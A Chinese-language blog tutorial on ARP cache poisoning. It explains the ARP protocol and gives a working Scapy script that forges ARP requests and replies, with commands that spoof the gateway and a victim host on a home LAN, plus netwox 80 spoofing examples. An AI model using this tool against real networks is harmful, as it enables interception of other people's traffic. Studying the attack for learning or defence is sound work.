ARP毒化

ARP Cache Poison

ARP Cache Poison

ARP工作原理

ARP报文格式

img

ARP过程

Sender 与 Target 通信时,通过ARP协议广播发送一个包含 <Sender-IP, Sender-MAC, Target-IP> 的arp报文,

Target 接收到该报文后,以 Sender-IP 为目标IP,Sender-MAC 为目标物理地址单播一个包含着一个 <Target-IP, Target-MAC> 的arp响应报文。

其中 Sender 与 Target 根据各自受到的arp报文,将对方的ip地址以及mac地址键值对存储在本地ARP缓存表。

ARP缓存毒化

ARP缓存毒化原理

hacker 构造一个ARP报文:<Target-IP, Hacker-MAC>,单播发送至H,即 H 收到后会将 Target 的IP与hacker的mac地址绑定到一起。

此处 H 可以为PC、路由器等设备,一旦它们的ARP缓存中建立该绑定项,则之后预期发送给 Target 的IP分组都会转至 Hacker.

主机通过其他主机发出的ARP请求报文以及其他主机响应给该主机的ARP响应报文中附带的IP+物理地址,来更新本主机的ARP缓存。例如尝试与其他主机通信,会发现本机arp表中将存入目标主机的物理地址项:

image-20220210175642976

在大多数系统中,主机往往会选择最新的ARP响应报文,以更新ARP缓存表。当然,攻击者只要不断的发出伪造的ARP响应报文,就能覆盖掉正常的ARP响应。

在 Scapy 中操作 ARP

scapy ARP 类用于构建arp报文,重要的构造参数有:

  • psrc:arp报文的发送方IP;

  • pdst:arp报文的接收方IP;

  • hwsrc:arp报文的发送方的物理地址;

  • hwdst:arp报文的接收方的物理地址;

    默认情况下,arp请求报文的接收方mac地址被设为:00:00:00:00:00:00,此处用来表示目的地址未知:

    image-20220208172532764

    但是链路层帧的目的地址依旧为广播地址(在未知目标主机的物理地址的情况下,即还未建立相关arp缓存项):

    image-20220208180330894

    当本主机的arp缓存中存在目标的物理地址项后,操作系统 或 scapy 所生成的装载arp请求报文的链路帧的目标地址会默认被替换为目标的物理地址(可以在 Ether 中修改),此时arp请求会变为单播;如果该arp请求能被正确响应,则发送者主机继续使用该arp项,否则会广播arp请求:

    image-20220208180755212

    虽然arp请求为广播,响应为单播,但是arp协议本身依靠的是操作类型(OP)字段来决定如何对所携带的地址信息进行处理,所以arp请求报文依然可以通过 hwdst 参数来指定arp报文中的接收方物理地址。

  • ops:arp操作类型:

    • ARP 请求为 1,在scapy中可以为 ops='who-has'
    • ARP 响应为 2
    • RARP 请求为 3
    • RARP 响应为 4

:模仿 netwox 80 模块,通过发送arp请求来达到修改目标机器的arp缓存的目的

#! python

import getmac
import argparse
from scapy.all import (
    Ether,
    ARP,
    sendp,
)


def arp(sender_ip, target_ip, sender_mac=None, target_mac=None, op=1, inter=1, loop=1, count=1):
    sender_mac = sender_mac if sender_mac else getmac.get_mac_address()  # 获取本地 mac
    target_mac = 'ff:ff:ff:ff:ff:ff' if target_mac == None else target_mac
    arp_pkt = None
    if target_mac:
        arp_pkt = Ether(src=sender_mac, dst=target_mac) / ARP(op=op,
                                                              psrc=sender_ip, pdst=target_ip, hwsrc=sender_mac)
    else:
        arp_pkt = ARP(op=op, psrc=sender_ip, pdst=target_ip, hwsrc=sender_mac)
    sendp(arp_pkt, inter=inter/1000, loop=loop, count=count)


def app(args=None):
    if args == None:
        parser = argparse.ArgumentParser(description='ARP tool.')

        parser.add_argument('-i', '--ip', type=str,
                            help='ip address.', required=True)
        parser.add_argument('-I', '--ip_dst',  type=str,
                            default='0.0.0.0', help='target host IP (default "0.0.0.0").')
        parser.add_argument('-o', '--op',  type=int, default='1',
                            help='ARP operation code.')
        parser.add_argument('-e', '--eth',  type=str, default=getmac.get_mac_address(),
                            help='sender mac address.')
        parser.add_argument('-E', '--eth_dst', type=str, default=None,
                            help='target mac address.')
        parser.add_argument('-l', '--loop',  type=int, default='1',
                            help='send packet indefinitely (default 1).')
        parser.add_argument('-n', '--count', type=int, default=None,
                            help='number of arp packets to send (default inf).')
        parser.add_argument('-s', '--inter', type=float, default=1000,
                            help='interval of sending arp packets (default 1000, unit ms).')
        args = parser.parse_args()

    arp(sender_ip=args.ip, target_ip=args.ip_dst,
        sender_mac=args.eth, target_mac=args.eth_dst,
        op=args.op,
        inter=args.inter, loop=args.loop, count=args.count)


if __name__ == '__main__':
    app(args=None)

sudo python arpgen.py  --help
usage: arpgen.py [-h] -i IP [-I IP_DST] [-o OP] [-e ETH] [-E ETH_DST] [-l LOOP] [-n COUNT] [-s INTER]

ARP tool.

options:
  -h, --help            show this help message and exit
  -i IP, --ip IP        ip address.
  -I IP_DST, --ip_dst IP_DST
                        target host IP (default "0.0.0.0").
  -o OP, --op OP        ARP operation code.
  -e ETH, --eth ETH     sender mac address.
  -E ETH_DST, --eth_dst ETH_DST
                        target mac address.
  -l LOOP, --loop LOOP  send packet indefinitely (default 1).
  -n COUNT, --count COUNT
                        number of arp packets to send (default inf).
  -s INTER, --inter INTER
                        interval of sending arp packets (default 1000, unit ms).
主机型ARP欺骗

hacker 冒充网关设备对其他主机进行欺骗,即向Target发送一个 <Gateway-IP, Hacker-MAC> 的ARP报文,让 Target 建立 Gateway-IP ==> Hacker-MAC 的绑定项。之后Target发送给网关的报文,都会被二层设备转发到hacker主机。

主机型ARP欺骗适用于接收目标主机发出的报文

构建以Gateway-IP为请求地址,Target-IP为目标地址,本主机的mac地址为请求方的硬件地址的ARP请求报文,循环发送。

执行脚本:

sudo python arpgen.py -i 192.168.31.1 -I 192.168.31.80 -n 100

hacker主机伪造arp请求报文,以 192.168.31.1(网关)为请求IP,f4:46:37:82:f4:1f(hacker)为请求MAC地址,向192.168.31.80(被攻击主机)发送:

image-20220210163054817

192.168.31.80(被攻击主机)响应arp请求时,会以hacker MAC地址为目标地址:

image-20220210163656173

此后 hacker 主机便捕获了 192.168.31.80 发送给网关的报文:

image-20220210163547617

网关型ARP欺骗

hacker 冒充其他主机对网关设备进行欺骗,即向网关发送一个 <Target-IP, Hacker-MAC> 的ARP报文,让网关建立 Target-IP ==> Hacker-MAC 的绑定项。此后网关的报文发送给Target的报文都会被二层设备转发到hacker的主机。

网关型ARP欺骗适用于接收响应给目标主机的报文

构建以Target-IP为请求地址,Gateway-IP为目标地址,本主机的mac地址为请求方的硬件地址的ARP请求报文,循环发送。

执行脚本,可以看到本主机上捕获了几乎所有网关发送给192.168.31.167的报文:

sudo python arpoison.py -i 192.168.31.80 -I 192.168.31.1 -n 100

hacker主机伪造arp请求报文,以 192.168.31.80(被攻击主机)为请求IP,f4:46:37:82:f4:1f(hacker)为请求MAC地址,向192.168.31.31(被攻击主机)发送:

image-20220210164155371

网关收到ARP请求时,发出的ARP响应:

image-20220210164428274

hacker主机收到的网关发送给 192.168.31.80 的报文:

img

通过ARP响应进行毒化

理论上主机发出ARP请求后,才会对相应的响应报文做出处理。但实际上,一个主机只要收到ARP响应报文,无论是否为该主机发出,只要目标IP为接收方的IP,那么接收方主机一样会进行处理:

sudo python arpgen.py  -i 192.168.31.1 -I 192.168.31.80 -E 74:D8:3E:3E:1D:B3 -n 100 -o 2

image-20220210170234549

在 netwox 中使用ARP

netwox 80 模块用于发送ARP响应:

➜  ~ netwox 80 --help2                                       
Title: Periodically send ARP replies
+------------------------------------------------------------------------+
| This tool periodically sends unsolicited ARP replies. It can be used   |
| to corrupt ARP cache of a LAN computer. Then, this computer will start |
| sending its data to fake computer, instead of real computer.           |
|                                                                        |
| This tool may need to be run with admin privilege in order to spoof.   |
+------------------------------------------------------------------------+
Usage: netwox 80 -e eth -i ip [-d device] [-E eth] [-I ip] [-s uint32]
Parameters:
 -e|--eth eth                   ethernet address {F4:46:37:82:F4:1F}
 -i|--ip ip                     IP address {192.168.31.26}
 -d|--device device             device for spoof {Eth0}
 -E|--eth-dst eth               to whom answer {0:8:9:a:b:c}
 -I|--ip-dst ip                 to whom answer {5.6.7.8}
 -s|--sleep uint32              sleep delay in ms {1000}
 --help                         display simple help
 --kbd                          ask missing parameters from keyboard
 --kbd-k or --kbd-name          ask parameter -k|--name from keyboard
 --argfile file                 ask missing parameters from file
Example: netwox 80 -e "F4:46:37:82:F4:1F" -i "192.168.31.26"
Example: netwox 80 --eth "F4:46:37:82:F4:1F" --ip "192.168.31.26"
netwox 实现主机型欺骗

发出ARP响应报文,向 192.168.31.80(被攻击者ip) 回答 192.168.31.1(网关ip) 的物理地址为 f4:46:37:82:f4:1f(hacker's MAC)

sudo netwox 80 -e F4:46:37:82:F4:1F -i 192.168.31.1 -I 192.168.31.80

image-20220210160408684

如果不指定目标物理地址 -E, 则会被设为广播地址。

netwox 实现网关型欺骗

发出 ARP 响应报文,向 192.168.31.31(网关ip) 回答 192.168.31.80(被攻击者ip) 的物理地址为 f4:46:37:82:f4:1f(hacker's MAC)

sudo netwox 80 -e F4:46:37:82:F4:1F -i 192.168.31.80 -I 192.168.31.31

image-20220210160743820

通过上述例子可以发现,即使不是主机发出的ARP请求,当该主机接收到ARP响应后,也会接收并进行之后的处理。


后记

小米路由器会定时查询本子网下的所有的设备的物理地址,即向该子网所有IP(除自身设备)发出ARP请求:

image-20220210165431834

即说明,如果中断对目标主机的arp缓存毒化,那么当路由器进行查询之后,无论是路由器还是普通设备都会收到正确的物理地址并进行更新,除非到目标机器上设置静态arp项(arp -s ip eth)。

另外还发现一件事,小米路由器以MAC地址判定连接的机器,当成功把路由器上的一台设备的arp缓存项改掉后,小米路由器会把对应的ip地址归属于攻击机器:

正常状态:

image-20220208213720874

修改 192.168.31.168 ==> ROG's MAC 后:

image-20220208213752447

posted @ 2021-02-22 21:15  NIShoushun  阅读(352)  评论(0编辑  收藏  举报